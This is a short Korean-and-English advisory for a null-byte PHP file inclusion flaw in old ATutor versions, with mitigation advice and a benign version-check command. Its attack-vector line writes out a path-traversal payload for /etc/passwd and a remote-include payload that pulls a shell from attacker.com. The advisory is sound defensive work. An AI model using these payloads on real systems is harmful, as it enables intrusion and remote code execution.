🇰🇷 한글 설명
ATutor 1.4.1~1.5.1-pl1의 PHP 파일 포함 취약점으로, 공격자가 section 파라미터에 null byte(%00)를 추가하여 원격에서 임의의 파일을 포함시킬 수 있습니다. body_header.inc.php와 print.php 파일에서 발생하며 인증 없이 악용 가능합니다.
💡 쉬운 설명
ATutor 웹 교육 플랫폼의 파일 경로 검증 부족으로 공격자가 서버의 임의 파일(암호 파일, 설정파일 등)을 읽거나 실행할 수 있습니다. 민감한 정보 유출이나 시스템 해킹으로 이어질 수 있습니다.
🇺🇸 원문 (English)
Multiple PHP file inclusion vulnerabilities in ATutor 1.4.1 through 1.5.1-pl1 allow remote attackers to include arbitrary files via the section parameter followed by a null byte (%00) in (1) body_header.inc.php and (2) print.php.
📍 영향받는 시스템
ATutor 1.4.1 ~ 1.5.1-pl1 (1.5.2 이후는 패치됨)
⚔️ 공격 벡터
HTTP GET 요청에서 section 파라미터에 null byte와 파일 경로 입력: ?section=../../etc/passwd%00 또는 ?section=http://attacker.com/shell.php%00
🛡️ 대응 방법
ATutor를 1.5.2 이상으로 즉시 업그레이드하거나, null byte 및 경로 트래버설 문자(../) 필터링 추가 및 파일명 화이트리스트 검증 구현
🔧 검증 코드
설치된 ATutor 버전을 확인합니다. 1.5.2 미만이면 취약점 패치 전 버전입니다.
dpkg -l 2>/dev/null | grep -i atutor || rpm -qa 2>/dev/null | grep atutor